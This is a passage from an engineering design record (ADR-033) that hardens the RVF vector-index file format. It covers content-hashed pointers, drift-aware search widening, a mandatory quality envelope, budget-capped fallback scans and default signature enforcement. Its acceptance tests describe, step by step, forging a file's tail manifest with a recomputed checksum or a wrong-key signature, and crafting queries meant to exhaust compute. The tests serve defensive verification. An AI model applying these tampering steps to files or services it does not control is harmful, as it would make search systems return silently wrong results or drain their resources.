adversarial distributions\n3. **Recall targets** are empirical, presented as if they were bounds\n4. **Manifest integrity** is optional, leaving the hotset attack surface open\n\nEach issue individually is tolerable. Together they form a compound vulnerability: an adversary who controls the data distribution AND the file tail can produce a structurally valid RVF file that returns confident, wrong answers with no detection mechanism.\n\nThis ADR converts all four from \"known limitations\" to \"engineered defenses.\"\n\n---\n\n## Decision\n\n### 1. Content-Addressed Centroid Stability\n\n**Invariant**: Logical identity must not depend on physical layout.\n\n#### 1.1 Content-Addressed Segment References\n\nHotset pointers in the Level 0 manifest currently store raw byte offsets:\n\n```\n0x058 8 centroid_seg_offset Byte offset in file\n```\n\nAdd a parallel content hash field for each hotset pointer:\n\n```\nOffset Size Field Description\n------ ---- ----- -----------\n0x058 8 centroid_seg_offset Byte offset (for fast seek)\n0x0A0 16 centroid_content_hash First 128 bits of SHAKE-256 of segment payload\n```\n\nThe runtime validates:\n1. Seek to `centroid_seg_offset`\n2. Read segment header + payload\n3. Compute SHAKE-256 of payload\n4. Compare first 128 bits against `centroid_content_hash`\n5. If mismatch: reject pointer, fall back to Level 1 directory scan\n\nThis makes compaction physically destructive but logically stable. The manifest re-points by offset for speed but verifies by hash for correctness.\n\n#### 1.2 Centroid Epoch Monotonic Counter\n\nAdd to Level 0 root manifest:\n\n```\nOffset Size Field Description\n------ ---- ----- -----------\n0x0B0 4 centroid_epoch Monotonic counter, incremented on recomputation\n0x0B4 4 max_epoch_drift Maximum allowed drift before forced recompute\n```\n\n**Semantics**:\n- `centroid_epoch` increments each time centroids are recomputed\n- The manifest's global `epoch` counter tracks all mutations\n- `epoch_drift = manifest.epoch - centroid_epoch`\n- If `epoch_drift > max_epoch_drift`: runtime MUST either recompute centroids or widen `n_probe`\n\nDefault `max_epoch_drift`: 64 epochs.\n\n#### 1.3 Automatic Quality Elasticity\n\nWhen epoch drift is detected, the runtime applies controlled quality degradation instead of silent recall loss:\n\n```rust\nfn effective_n_probe(base_n_probe: u32, epoch_drift: u32, max_drift: u32) -> u32 {\n if epoch_drift <= max_drift / 2 {\n // Within comfort zone: no adjustment\n base_n_probe\n } else if epoch_drift <= max_drift {\n // Drift zone: linear widening up to 2x\n let scale = 1.0 + (epoch_drift - max_drift / 2) as f64 / max_drift as f64;\n (base_n_probe as f64 * scale).ceil() as u32\n } else {\n // Beyond max drift: double n_probe, schedule recomputation\n base_n_probe * 2\n }\n}\n```\n\nThis turns degradation into **controlled quality elasticity**: recall trades against latency in a predictable, bounded way.\n\n#### 1.4 Wire Format Changes\n\nAdd content hash fields to Level 0 at reserved offsets (using the `0x094-0x0FF` reserved region before the signature):\n\n```\nOffset Size Field\n------ ---- -----\n0x0A0 16 entrypoint_content_hash\n0x0B0 16 toplayer_content_hash\n0x0C0 16 centroid_content_hash\n0x0D0 16 quantdict_content_hash\n0x0E0 16 hot_cache_content_hash\n0x0F0 4 centroid_epoch\n0x0F4 4 max_epoch_drift\n0x0F8 8 reserved_hardening\n```\n\nTotal: 96 bytes. Fits within the existing reserved region before the signature at `0x094`.\n\n**Note**: The signature field at `0x094` must move to accommodate this. New signature offset: `0x100`. This is a breaking change to the Level 0 layout. Files written before ADR-033 are detected by `version < 2` in the root manifest and use the old layout.\n\n---\n\n### 2. Layer A Adversarial Resilience\n\n**Invariant**: Silent catastrophic degradation must not be possible.\n\n#### 2.1 Distance Entropy Detection\n\nAfter computing distances to the top-K centroids, measure the discriminative power:\n\n```rust\n/// Detect adversarial or degenerate centroid distance distributions.\n/// Returns true if the distribution is too uniform to trust centroid routing.\nfn is_degenerate_distribution(distances: &[f32], k: usize) -> bool {\n if distances.len() < 2 * k {\n return true; // Not enough centroids\n }\n\n // Sort and take top-2k\n let mut sorted = distances.to_vec();\n sorted.sort_unstable_by(|a, b| a.partial_cmp(b).unwrap());\n let top = &sorted[..2 * k];\n\n // Compute coefficient of variation (CV = stddev / mean)\n let mean = top.iter().sum::() / top.len() as f32;\n if mean < f32::EPSILON {\n return true; // All distances near zero\n }\n\n let variance = top.iter().map(|d| (d - mean).powi(2)).sum::() / top.len() as f32;\n let cv = variance.sqrt() / mean;\n\n // CV < 0.05 means top distances are within 5% of each other\n // This indicates centroids provide no discriminative power\n cv < DEGENERATE_CV_THRESHOLD\n}\n\nconst DEGENERATE_CV_THRESHOLD: f32 = 0.05;\n```\n\n#### 2.2 Adaptive n_probe Widening\n\nWhen degeneracy is detected, widen the search:\n\n```rust\nfn adaptive_n_probe(\n base_n_probe: u32,\n centroid_distances: &[f32],\n total_centroids: u32,\n) -> u32 {\n if is_degenerate_distribution(centroid_distances, base_n_probe as usize) {\n // Degenerate: widen to sqrt(K) or 4x base, whichever is smaller\n let widened = (total_centroids as f64).sqrt().ceil() as u32;\n base_n_probe.max(widened).min(base_n_probe * 4)\n } else {\n base_n_probe\n }\n}\n```\n\n#### 2.3 Multi-Centroid Fallback\n\nWhen distance variance is below threshold AND Layer B is not yet loaded, fall back to a lightweight multi-probe strategy:\n\n1. Compute distances to ALL centroids (not just top-K)\n2. If all distances are within `mean +/- 2*stddev`: treat as uniform\n3. For uniform distributions: scan the hot cache linearly (if available)\n4. If no hot cache: return results with a `quality_flag = APPROXIMATE` in the response\n\nThis prevents silent wrong answers. The caller knows the result quality.\n\n#### 2.4 Quality Flag at the API Boundary\n\n`ResultQuality` is defined at two levels: per-retrieval and per-response.\n\n**Per-retrieval** (internal, attached to each candidate):\n\n```rust\n/// Quality confidence for the retrieval candidate set.\n#[derive(Clone, Copy, Debug, PartialEq, Eq)]\n#[repr(u8)]\npub enum RetrievalQuality {\n /// Full index traversed, high confidence in candidate set.\n Full = 0x00,\n /// Partial index (Layer A+B), good confidence.\n Partial = 0x01,\n /// Layer A only, moderate confidence.\n LayerAOnly = 0x02,\n /// Degenerate distribution detected, low confidence.\n DegenerateDetected = 0x03,\n /// Brute-force fallback used within budget, exact over scanned region.\n BruteForceBudgeted = 0x04,\n}\n```\n\n**Per-response** (external, returned to the caller at the API boundary):\n\n```rust\n/// Response-level quality signal. This is the field that consumers\n/// (RAG pipelines, agent tool chains, MCP clients) MUST inspect.\n///\n/// If `response_quality < threshold`, the consumer should either:\n/// - Wait and retry (progressive loading will improve quality)\n/// - Widen the search (increase k or ef_search)\n/// - Fall back to an alternative data source\n#[derive(Clone, Copy, Debug, PartialEq, Eq)]\n#[repr(u8)]\npub enum ResponseQuality {\n /// All results from full index. Trust fully.\n Verified = 0x00,\n /// Results from partial index. Usable but may miss neighbors.\n Usable = 0x01,\n /// Degraded retrieval detected. Results are best-effort.\n /// The `degradation_reason` field explains why.\n Degraded = 0x02,\n /// Insufficient candidates found. Results are unreliable.\n /// Caller SHOULD NOT use these for downstream decisions.\n Unreliable = 0x03,\n}\n```\n\n**Derivation rule** \u2014 `ResponseQuality` is the minimum of all `RetrievalQuality` values in the result set:\n\n```rust\nfn derive_response_quality(results: &[SearchResult]) -> ResponseQuality {\n let worst = results.iter()\n .map(|r| r.retrieval_quality)\n .max_by_key(|q| *q as u8)\n .unwrap_or(RetrievalQuality::Full);\n\n match worst {\n RetrievalQuality::Full => ResponseQuality::Verified,\n RetrievalQuality::Partial => ResponseQuality::Usable,\n RetrievalQuality::LayerAOnly => ResponseQuality::Usable,\n RetrievalQuality::DegenerateDetected => ResponseQuality::Degraded,\n RetrievalQuality::BruteForceBudgeted => ResponseQuality::Degraded,\n }\n}\n```\n\n**Mandatory outer wrapper** \u2014 `QualityEnvelope` is the top-level return type for all\nquery APIs. It is not a nested field. It is the outer wrapper. JSON flattening cannot\ndiscard it. gRPC serialization cannot drop it. MCP tool responses must include it.\n\n```rust\n/// The mandatory outer return type for all query APIs.\n/// This is not optional. This is not a nested field.\n/// Consumers that ignore this are misusing the API.\npub struct QualityEnvelope {\n /// The search results.\n pub results: Vec,\n /// Top-level quality signal. Consumers MUST inspect this.\n pub quality: ResponseQuality,\n /// Structured evidence for why the quality is what it is.\n pub evidence: SearchEvidenceSummary,\n /// Resource consumption report for this query.\n pub budgets: BudgetReport,\n /// If quality is degraded, the structured reason.\n pub degradation: Option,\n}\n\n/// Evidence chain: what index state was actually used.\npub struct SearchEvidenceSummary {\n /// Which index layers were available and used.\n pub layers_used: IndexLayersUsed,\n /// Effective n_probe (after any adaptive widening).\n pub n_probe_effective: u32,\n /// Whether degenerate distribution was detected.\n pub degenerate_detected: bool,\n /// Coefficient of variation of top-K centroid distances.\n pub centroid_distance_cv: f32,\n /// Number of candidates found by HNSW before safety net.\n pub hnsw_candidate_count: u32,\n /// Number of candidates added by safety net scan.\n pub safety_net_candidate_count: u32,\n /// Content hashes of index segments actually touched.\n pub index_segments_touched: Vec<[u8; 16]>,\n}\n\n#[derive(Clone, Copy, Debug)]\npub struct IndexLayersUsed {\n pub layer_a: bool,\n pub layer_b: bool,\n pub layer_c: bool,\n pub hot_cache: bool,\n}\n\n/// Resource consumption report.\npub struct BudgetReport {\n /// Wall-clock time per stage.\n pub centroid_routing_us: u64,\n pub hnsw_traversal_us: u64,\n pub safety_net_scan_us: u64,\n pub reranking_us: u64,\n pub total_us: u64,\n /// Distance evaluations performed.\n pub distance_ops: u64,\n pub distance_ops_budget: u64,\n /// Bytes read from storage.\n pub bytes_read: u64,\n /// Candidates scanned in linear scan (safety net).\n pub linear_scan_count: u64,\n pub linear_scan_budget: u64,\n}\n\n/// Why quality is degraded.\npub struct DegradationReport {\n /// Which fallback path was chosen.\n pub fallback_path: FallbackPath,\n /// Why it was chosen (structured, not prose).\n pub reason: DegradationReason,\n /// What guarantee is lost relative to Full quality.\n pub guarantee_lost: &'static str,\n}\n\n#[derive(Clone, Copy, Debug)]\npub enum FallbackPath {\n /// Normal HNSW traversal, no fallback needed.\n None,\n /// Adaptive n_probe widening due to epoch drift.\n NProbeWidened,\n /// Adaptive n_probe widening due to degenerate distribution.\n DegenerateWidened,\n /// Selective safety net scan on hot cache.\n SafetyNetSelective,\n /// Safety net budget exhausted before completion.\n SafetyNetBudgetExhausted,\n}\n\n#[derive(Clone, Copy, Debug)]\npub enum DegradationReason {\n /// Centroid epoch drift exceeded threshold.\n CentroidDrift { epoch_drift: u32, max_drift: u32 },\n /// Degenerate distance distribution detected.\n DegenerateDistribution { cv: f32, threshold: f32 },\n /// Brute-force budget exhausted.\n BudgetExhausted { scanned: u64, total: u64, budget_type: &'static str },\n /// Index layer not yet loaded.\n IndexNotLoaded { available: &'static str, needed: &'static str },\n}\n```\n\n**Hard enforcement rule**: If `quality` is `Degraded` or `Unreliable`, the runtime MUST\neither:\n\n1. Return the `QualityEnvelope` with the structured warning (which cannot be dropped\n because it is the outer type, not a nested field), OR\n2. Require an explicit caller override flag to proceed:\n\n```rust\npub enum QualityPreference {\n /// Runtime decides. Default. Fastest path that meets internal thresholds.\n Auto,\n /// Caller prefers quality over latency. Runtime may widen n_probe,\n /// extend budgets up to 4x, and block until Layer B loads.\n PreferQuality,\n /// Caller prefers latency over quality. Runtime may skip safety net,\n /// reduce n_probe. ResponseQuality honestly reports what it gets.\n PreferLatency,\n /// Caller explicitly accepts degraded results. Required to proceed\n /// when ResponseQuality would be Degraded or Unreliable under Auto.\n /// Without this flag, Degraded queries return an error, not results.\n AcceptDegraded,\n}\n```\n\nWithout `AcceptDegraded`, a `Degraded` result is returned as\n`Err(RvfError::QualityBelowThreshold(envelope))` \u2014 the caller gets the evidence\nbut must explicitly opt in to use the results. This prevents silent misuse.\n\n#### 2.5 Distribution Assumption Declaration\n\nThe spec MUST explicitly state:\n\n> **Distribution Assumption**: Recall targets (0.70/0.85/0.95) assume sub-Gaussian embedding distributions typical of neural network outputs (sentence-transformers, OpenAI ada-002, Cohere embed-v3, etc.). For adversarial, synthetic, or uniform-random distributions, recall may be lower. When degenerate distributions are detected at query time, the runtime automatically widens its search and signals reduced confidence via `ResultQuality`.\n\nThis converts an implicit assumption into an explicit contract.\n\n---\n\n### 3. Recall Bound Framing\n\n**Invariant**: Never claim theoretical guarantees without distribution assumptions.\n\n#### 3.1 Monotonic Recall Improvement Property\n\nReplace hard recall bounds with a provable structural property:\n\n> **Monotonic Recall Property**: For any query Q and any two index states S1 and S2 where S2 includes all segments of S1 plus additional INDEX_SEGs:\n>\n> `recall(Q, S2) >= recall(Q, S1)`\n>\n> Proof: S2's candidate set is a superset of S1's (append-only segments, no removal). More candidates cannot reduce recall.\n\nThis is provable from the append-only invariant and requires no distribution assumption.\n\n#### 3.2 Recall Target Classes\n\nReplace the single recall table with benchmark-class-specific targets:\n\n| State | Natural Embeddings | Synthetic Uniform | Adversarial Clustered |\n|-------|-------------------|-------------------|----------------------|\n| Layer A | >= 0.70 | >= 0.40 | >= 0.20 (with detection) |\n| A + B | >= 0.85 | >= 0.70 | >= 0.60 |\n| A + B + C | >= 0.95 | >= 0.90 | >= 0.85 |\n\n\"Natural Embeddings\" = sentence-transformers, OpenAI, Cohere on standard corpora.\n\n#### 3.3 Brute-Force Safety Net (Dual-Budgeted)\n\nWhen the candidate set from HNSW search is smaller than `2 * k`, the safety net\nactivates. It is capped by **both** a time budget and a candidate budget to prevent\nunbounded work. An adversarial query cannot force O(N) compute.\n\n**Three required caps** (all enforced, none optional):\n\n```rust\n/// Budget caps for the brute-force safety net.\n/// All three are enforced simultaneously. The scan stops at whichever hits first.\n/// These are RUNTIME limits, not caller-adjustable above the defaults.\n/// Callers may reduce them but not exceed them (unless PreferQuality mode,\n/// which extends to 4x).\npub struct SafetyNetBudget {\n /// Maximum wall-clock time for the safety net scan.\n /// Default: 2,000 us (2 ms) in Layer A mode, 5,000 us (5 ms) in partial mode.\n pub max_scan_time_us: u64,\n /// Maximum number of candidate vectors to scan.\n /// Default: 10,000 in Layer A mode, 50,000 in partial mode.\n pub max_scan_candidates: u64,\n /// Maximum number of distance evaluations (the actual compute cost).\n /// This is the hardest cap \u2014 it bounds CPU work directly.\n /// Default: 10,000 in Layer A mode, 50,000 in partial mode.\n pub max_distance_ops: u64,\n}\n\nimpl SafetyNetBudget {\n /// Layer A only defaults: tight budget for instant first query.\n pub const LAYER_A: Self = Self {\n max_scan_time_us: 2_000, // 2 ms\n max_scan_candidates: 10_000,\n max_distance_ops: 10_000,\n };\n /// Partial index defaults: moderate budget.\n pub const PARTIAL: Self = Self {\n max_scan_time_us: 5_000, // 5 ms\n max_scan_candidates: 50_000,\n max_distance_ops: 50_000,\n };\n /// PreferQuality mode: 4x extension of the applicable default.\n pub fn extended_4x(&self) -> Self {\n Self {\n max_scan_time_us: self.max_scan_time_us * 4,\n max_scan_candidates: self.max_scan_candidates * 4,\n max_distance_ops: self.max_distance_ops * 4,\n }\n }\n /// Disabled: all zeros. Safety net will not scan anything.\n pub const DISABLED: Self = Self {\n max_scan_time_us: 0,\n max_scan_candidates: 0,\n max_distance_ops: 0,\n };\n}\n```\n\nAll three are in `QueryOptions`:\n\n```rust\npub struct QueryOptions {\n pub k: usize,\n pub ef_search: u32,\n pub quality_preference: QualityPreference,\n /// Safety net budget. Callers may tighten but not loosen beyond\n /// the mode default (unless QualityPreference::PreferQuality).\n pub safety_net_budget: SafetyNetBudget,\n}\n```\n\n**Policy response**: When any budget is exceeded, the scan stops immediately and returns:\n- `FallbackPath::SafetyNetBudgetExhausted`\n- `DegradationReason::BudgetExhausted` with which budget triggered and how far the scan got\n- A partial candidate set (whatever was found before the budget hit)\n- `ResponseQuality::Degraded`\n\n**Selective scan strategy** \u2014 the safety net does NOT scan the entire hot cache. It\nscans a targeted subset to stay sparse even under fallback:\n\n```rust\nfn selective_safety_net_scan(\n query: &[f32],\n k: usize,\n hnsw_candidates: &[Candidate],\n centroid_distances: &[(u32, f32)], // (centroid_id, distance)\n store: &RvfStore,\n budget: &SafetyNetBudget,\n) -> (Vec, BudgetReport) {\n let deadline = Instant::now() + Duration::from_micros(budget.max_scan_time_us);\n let mut scanned: u64 = 0;\n let mut dist_ops: u64 = 0;\n let mut candidates = Vec::new();\n let mut budget_report = BudgetReport::default();\n\n // Phase 1: Multi-centroid union\n // Scan hot cache entries whose centroid_id is in top-T centroids.\n // T = min(adaptive_n_probe, sqrt(total_centroids))\n let top_t = centroid_distances.len().min(\n (centroid_distances.len() as f64).sqrt().ceil() as usize\n );\n let top_centroid_ids: Vec = centroid_distances[..top_t]\n .iter().map(|(id, _)| *id).collect();\n\n for block in store.hot_cache_blocks_by_centroid(&top_centroid_ids) {\n if scanned >= budget.max_scan_candidates { break; }\n if dist_ops >= budget.max_distance_ops { break; }\n if Instant::now() >= deadline { break; }\n\n let block_results = scan_block(query, block);\n scanned += block.len() as u64;\n dist_ops += block.len() as u64;\n candidates.extend(block_results);\n }\n\n // Phase 2: HNSW neighbor expansion\n // For each existing HNSW candidate, scan their neighbors' vectors\n // in the hot cache (1-hop expansion).\n if scanned < budget.max_scan_candidates && dist_ops < budget.max_distance_ops {\n for candidate in hnsw_candidates.iter().take(k) {\n if scanned >= budget.max_scan_candidates { break; }\n if dist_ops >= budget.max_distance_ops { break; }\n if Instant::now() >= deadline { break; }\n\n if let Some(neighbors) = store.hot_cache_neighbors(candidate.id) {\n for neighbor in neighbors {\n if dist_ops >= budget.max_distance_ops { break; }\n let d = distance(query, &neighbor.vector);\n dist_ops += 1;\n scanned += 1;\n candidates.push(Candidate { id: neighbor.id, distance: d });\n }\n }\n }\n }\n\n // Phase 3: Recency window (if budget remains)\n // Scan the most recently ingested vectors in the hot cache,\n // which are most likely to be missing from the HNSW index.\n if scanned < budget.max_scan_candidates && dist_ops < budget.max_distance_ops {\n let remaining_budget = budget.max_scan_candidates - scanned;\n for vec in store.hot_cache_recent(remaining_budget as usize) {\n if dist_ops >= budget.max_distance_ops { break; }\n if Instant::now() >= deadline { break; }\n let d = distance(query, &vec.vector);\n dist_ops += 1;\n scanned += 1;\n candidates.push(Candidate { id: vec.id, distance: d });\n }\n }\n\n budget_report.linear_scan_count = scanned;\n budget_report.linear_scan_budget = budget.max_scan_candidates;\n budget_report.distance_ops = dist_ops;\n budget_report.distance_ops_budget = budget.max_distance_ops;\n\n (candidates, budget_report)\n}\n```\n\n**Why selective, not exhaustive:**\n\nThe safety net scans three targeted sets in priority order:\n1. **Multi-centroid union**: vectors near the best-matching centroids (spatial locality)\n2. **HNSW neighbor expansion**: 1-hop neighbors of existing candidates (graph locality)\n3. **Recency window**: recently ingested vectors not yet in any index (temporal locality)\n\nEach phase respects all three budget caps. Even under the safety net, the scan stays\n**sparse and deterministic**.\n\n**Why three budget caps:**\n\n- **Time alone** is insufficient: fast CPUs burn millions of ops in 5 ms.\n- **Candidates alone** is insufficient: slow storage makes 50K scans take 50 ms.\n- **Distance ops alone** is insufficient: a scan that reads but doesn't compute still\n consumes I/O bandwidth.\n- **All three together** bound the work in every dimension. The scan stops at whichever\n limit hits first.\n\n**Invariant**: The brute-force safety net is bounded in time, candidates, and compute.\nA fuzzed query generator cannot push p95 latency above the budgeted ceiling. If all\nthree budgets are set to 0, the safety net is disabled entirely and the system returns\n`ResponseQuality::Degraded` immediately when HNSW produces insufficient candidates.\n\n#### 3.3.1 DoS Hardening\n\nThree additional protections for public-facing deployments:\n\n**Budget tokens**: Each query consumes a fixed budget of distance ops and bytes. The\nruntime tracks a per-connection token bucket. No tokens remaining = query rejected with\n`429 Too Many Requests` equivalent. Prevents sustained DoS via repeated adversarial queries.\n\n**Negative caching**: If a query signature (hash of the query vector's quantized form)\ntriggers degenerate mode more than N times in a window, the runtime caches it and forces\n`SafetyNetBudget::DISABLED` for subsequent matches. The adversary cannot keep burning budget\non the same attack vector.\n\n**Proof-of-work option**: For open-internet endpoints only. The caller must include a\nnonce proving O(work) computation before the query is accepted. This is opt-in, not\ndefault \u2014 only relevant for unauthenticated public endpoints.\n\n#### 3.4 Acceptance Test Update\n\nUpdate `benchmarks/acceptance-tests.md` to:\n\n1. Test against three distribution classes (natural, synthetic, adversarial)\n2. Verify `ResponseQuality` flag accuracy at the API boundary\n3. Verify monotonic recall improvement across progressive load phases\n4. Measure brute-force fallback frequency and latency impact\n5. Verify brute-force scan terminates within both time and candidate budgets\n\n#### 3.5 Acceptance Test: Malicious Tail Manifest (MANDATORY)\n\n**Test**: A maliciously rewritten tail manifest that preserves CRC32C but\nchanges hotset pointers must fail to mount under `Strict` policy, and must\nproduce a logged, deterministic failure reason.\n\n```\nTest: Malicious Hotset Pointer Redirection\n==========================================\n\nSetup:\n 1. Create signed RVF file with 100K vectors, full HNSW index\n 2. Record the original centroid_seg_offset and centroid_content_hash\n 3. Identify a different valid INDEX_SEG in the file (e.g., Layer B)\n 4. Craft a new Level 0 manifest:\n - Replace centroid_seg_offset with the Layer B segment offset\n - Keep ALL other fields identical\n - Recompute CRC32C at 0xFFC to match the modified manifest\n - Do NOT re-sign (signature becomes invalid)\n 5. Overwrite last 4096 bytes of file with crafted manifest\n\nVerification under Strict policy:\n 1. Attempt: RvfStore::open_with_policy(&path, opts, SecurityPolicy::Strict)\n 2. MUST return Err(SecurityError::InvalidSignature)\n 3. The error MUST include:\n - error_code: a stable, documented error code (not just a string)\n - manifest_offset: byte offset of the rejected manifest\n - expected_signer: public key fingerprint (if known)\n - rejection_phase: \"signature_verification\" (not \"content_hash\")\n 4. The error MUST be logged at WARN level or higher\n 5. The file MUST NOT be queryable (no partial mount, no fallback)\n\nVerification under Paranoid policy:\n Same as Strict, identical behavior.\n\nVerification under WarnOnly policy:\n 1. File opens successfully (warning logged)\n 2. Content hash verification runs on first hotset access\n 3. centroid_content_hash mismatches the actual segment payload\n 4. MUST return Err(SecurityError::ContentHashMismatch) on first query\n 5. The error MUST include:\n - pointer_name: \"centroid_seg_offset\"\n - expected_hash: the hash stored in Level 0\n - actual_hash: the hash of the segment at the pointed offset\n - seg_offset: the byte offset that was followed\n 6. System transitions to read-only mode, refuses further queries\n\nVerification under Permissive policy:\n 1. File opens successfully (no warning)\n 2. Queries execute against the wrong segment\n 3. Results are structurally valid but semantically wrong\n 4. ResponseQuality is NOT required to detect this (Permissive = no safety)\n 5. This is the EXPECTED AND DOCUMENTED behavior of Permissive mode\n\nPass criteria:\n - Strict/Paranoid: deterministic rejection, logged error, no mount\n - WarnOnly: mount succeeds, content hash catches mismatch on first access\n - Permissive: mount succeeds, no detection (by design)\n - Error messages are stable across versions (code, not prose)\n - No panic, no undefined behavior, no partial state leakage\n```\n\n**Test: Malicious Manifest with Re-signed Forgery**\n\n```\nSetup:\n 1. Same as above, but attacker also re-signs with a DIFFERENT key\n 2. File now has valid CRC32C AND valid signature \u2014 but wrong signer\n\nVerification under Strict policy:\n 1. MUST return Err(SecurityError::UnknownSigner)\n 2. Error includes the actual signer fingerprint\n 3. Error includes the expected signer fingerprint (from trust store)\n 4. File does not mount\n\nPass criteria:\n - The system distinguishes \"no signature\" from \"wrong signer\"\n - Both produce distinct, documented error codes\n```\n\n#### 3.6 Acceptance Tests: QualityEnvelope Enforcement (MANDATORY)\n\n**Test 1: Consumer Cannot Ignore QualityEnvelope**\n\n```\nTest: Schema Enforcement of QualityEnvelope\n============================================\n\nSetup:\n 1. Create RVF file with 10K vectors, full index\n 2. Issue a query that returns Degraded results (use degenerate query vector)\n\nVerification:\n 1. The query API returns QualityEnvelope, not Vec\n 2. Attempt to deserialize the response as Vec (without envelope)\n 3. MUST fail at schema validation \u2014 the envelope is the outer type\n 4. JSON response: top-level keys MUST include \"quality\", \"evidence\", \"budgets\"\n 5. gRPC response: QualityEnvelope is the response message type\n 6. MCP tool response: \"quality\" field is at top level, not nested\n\nPass criteria:\n - No API path exists that returns raw results without the envelope\n - Schema validation rejects any consumer that skips the quality field\n - The envelope cannot be flattened away by middleware or serialization\n```\n\n**Test 2: Adversarial Query Respects max_distance_ops Under Safety Net**\n\n```\nTest: Budget Cap Enforcement Under Adversarial Query\n=====================================================\n\nSetup:\n 1. Create RVF file with 1M vectors, Layer A only (no HNSW loaded)\n 2. Set SafetyNetBudget to LAYER_A defaults (10,000 distance ops)\n 3. Craft adversarial query that triggers degenerate detection\n (uniform-random vector or equidistant from all centroids)\n\nVerification:\n 1. Issue query with quality_preference = Auto\n 2. Safety net activates (candidate set < 2*k from HNSW)\n 3. BudgetReport.distance_ops MUST be <= SafetyNetBudget.max_distance_ops\n 4. BudgetReport.distance_ops MUST be <= 10,000\n 5. Total query wall-clock MUST be <= SafetyNetBudget.max_scan_time_us\n 6. DegradationReport.reason MUST be BudgetExhausted if budget was hit\n 7. ResponseQuality MUST be Degraded (not Verified or Usable)\n\nStress test:\n 1. Repeat with 10,000 adversarial queries in sequence\n 2. No single query may exceed max_distance_ops\n 3. Aggregate p95 latency MUST stay below max_scan_time_us ceiling\n 4. No OOM, no panic, no unbounded allocation\n\nPass criteria:\n - max_distance_ops is a hard cap, never exceeded by even 1 operation\n - Budget enforcement works under all three safety net phases\n - Each phase independently respects all three budget caps\n```\n\n**Test 3: Degenerate Conditions Produce Partial Results, Not Hangs**\n\n```\nTest: Graceful Degradation Under Degenerate Conditions\n=======================================================\n\nSetup:\n 1. Create RVF file with 1M uniform-random vectors (worst case)\n 2. Load with Layer A only (no HNSW, no Layer B/C)\n 3. All centroids equidistant from query (maximum degeneracy)\n\nVerification:\n 1. Issue query with quality_preference = Auto\n 2. Runtime MUST return within max_scan_time_us (not hang)\n 3. Return type MUST be Err(RvfError::QualityBelowThreshold(envelope))\n 4. The envelope MUST contain:\n a. A partial result set (whatever was found before budget hit)\n b. quality = ResponseQuality::Degraded or Unreliable\n c. degradation.reason = BudgetExhausted or DegenerateDistribution\n d. degradation.guarantee_lost describes what is missing\n e. budgets.distance_ops <= budgets.distance_ops_budget\n 5. The caller can then choose:\n a. Retry with PreferQuality (extends budget 4x)\n b. Retry with AcceptDegraded (uses partial results as-is)\n c. Wait for Layer B to load and retry\n\n 6. With AcceptDegraded:\n a. Same partial results are returned as Ok(envelope)\n b. ResponseQuality is still Degraded (honesty preserved)\n c. No additional scanning beyond what was already done\n\nPass criteria:\n - No hang, no scan-to-completion, no unbounded work\n - Partial results are always available (not empty unless truly zero candidates)\n - Clear, structured reason for degradation (not a string, a typed enum)\n - Caller can always recover by choosing a different QualityPreference\n```\n\n#### 3.7 Benchmark: Fuzzed Query Latency Ceiling (MANDATORY)\n\n```\nBenchmark: Fuzzed Query Generator vs Budget Ceiling\n=====================================================\n\nSetup:\n 1. Create RVF file with 10M vectors, 384 dimensions, fp16\n 2. Generate a fuzzed query corpus:\n a. 1000 natural embedding queries (sentence-transformer outputs)\n b. 1000 uniform-random queries\n c. 1000 adversarial queries (equidistant from top-K centroids)\n d. 1000 degenerate queries (zero vector, max-norm vector, NaN-adjacent)\n 3. Load file progressively: measure at Layer A, A+B, A+B+C\n\nTest:\n 1. Execute all 4000 queries at each progressive load stage\n 2. Measure p50, p95, p99, max latency per query class per stage\n\nPass criteria:\n - p95 latency MUST NOT exceed SafetyNetBudget.max_scan_time_us at any stage\n - p99 latency MUST NOT exceed 2x SafetyNetBudget.max_scan_time_us at any stage\n (allowing for OS scheduling jitter, not algorithmic overshoot)\n - max_distance_ops is NEVER exceeded (hard invariant, no exceptions)\n - Recall improves monotonically across stages for all query classes:\n recall@10(Layer A) <= recall@10(A+B) <= recall@10(A+B+C)\n - No query class achieves recall@10 = 0.0 at any stage\n (even degenerate queries must return SOME results)\n\nReport:\n JSON report per stage with:\n stage, query_class, p50_us, p95_us, p99_us, max_us,\n avg_recall_at_10, min_recall_at_10, avg_distance_ops,\n max_distance_ops, safety_net_trigger_rate, budget_exhaustion_rate\n```\n\n---\n\n### 4. Mandatory Manifest Signatures\n\n**Invariant**: No signature, no mount in secure mode.\n\n#### 4.1 Security Mount Policy\n\nAdd a `SecurityPolicy` enum to `RvfOptions`:\n\n```rust\n/// Manifest signature verification policy.\n#[derive(Clone, Copy, Debug, PartialEq, Eq)]\n#[repr(u8)]\npub enum SecurityPolicy {\n /// No signature verification. For development and testing only.\n /// Files open regardless of signature state.\n Permissive = 0x00,\n /// Warn on missing or invalid signatures, but allow open.\n /// Log events for auditing.\n WarnOnly = 0x01,\n /// Require valid signature on Level 0 manifest.\n /// Reject files with missing or invalid signatures.\n /// DEFAULT for production.\n Strict = 0x02,\n /// Require valid signatures on Level 0, Level 1, and all\n /// hotset-referenced segments. Full chain verification.\n Paranoid = 0x03,\n}\n\nimpl Default for SecurityPolicy {\n fn default() -> Self {\n Self::Strict\n }\n}\n```\n\n**Default is `Strict`**, not `Permissive`.\n\n#### 4.2 Verification Chain\n\nUnder `Strict` policy, the open path becomes:\n\n```\n1. Read Level 0 (4096 bytes)\n2. Validate CRC32C (corruption check)\n3. Validate ML-DSA-65 signature (adversarial check)\n4. If signature missing: REJECT with SecurityError::UnsignedManifest\n5. If signature invalid: REJECT with SecurityError::InvalidSignature\n6. Extract hotset pointers\n7. For each hotset pointer: validate content hash (ADR-033 \u00a71.1)\n8. If any content hash fails: REJECT with SecurityError::ContentHashMismatch\n9. System is now queryable with verified pointers\n```\n\nUnder `Paranoid` policy, add:\n\n```\n10. Read Level 1 manifest\n11. Validate Level 1 signature\n12. For each segment in directory: verify content hash matches on first access\n```\n\n#### 4.3 Unsigned File Handling\n\nFiles without signatures can still be opened under `Permissive` or `WarnOnly` policies. This supports:\n\n- Development and testing workflows\n- Legacy files created before signature support\n- Performance-critical paths where verification latency is unacceptable\n\nBut the default is `Strict`. If an enterprise deploys with defaults, they get signature enforcement. They must explicitly opt out.\n\n#### 4.4 Signature Generation on Write\n\nEvery `write_manifest()` call MUST:\n\n1. Compute SHAKE-256-256 content hashes for all hotset-referenced segments\n2. Store hashes in Level 0 at the new offsets (\u00a71.4)\n3. If a signing key is available: sign Level 0 with ML-DSA-65\n4. If no signing key: write `sig_algo = 0` (unsigned)\n\nThe `create()` and `open()` methods accept an optional signing key:\n\n```rust\nimpl RvfStore {\n pub fn 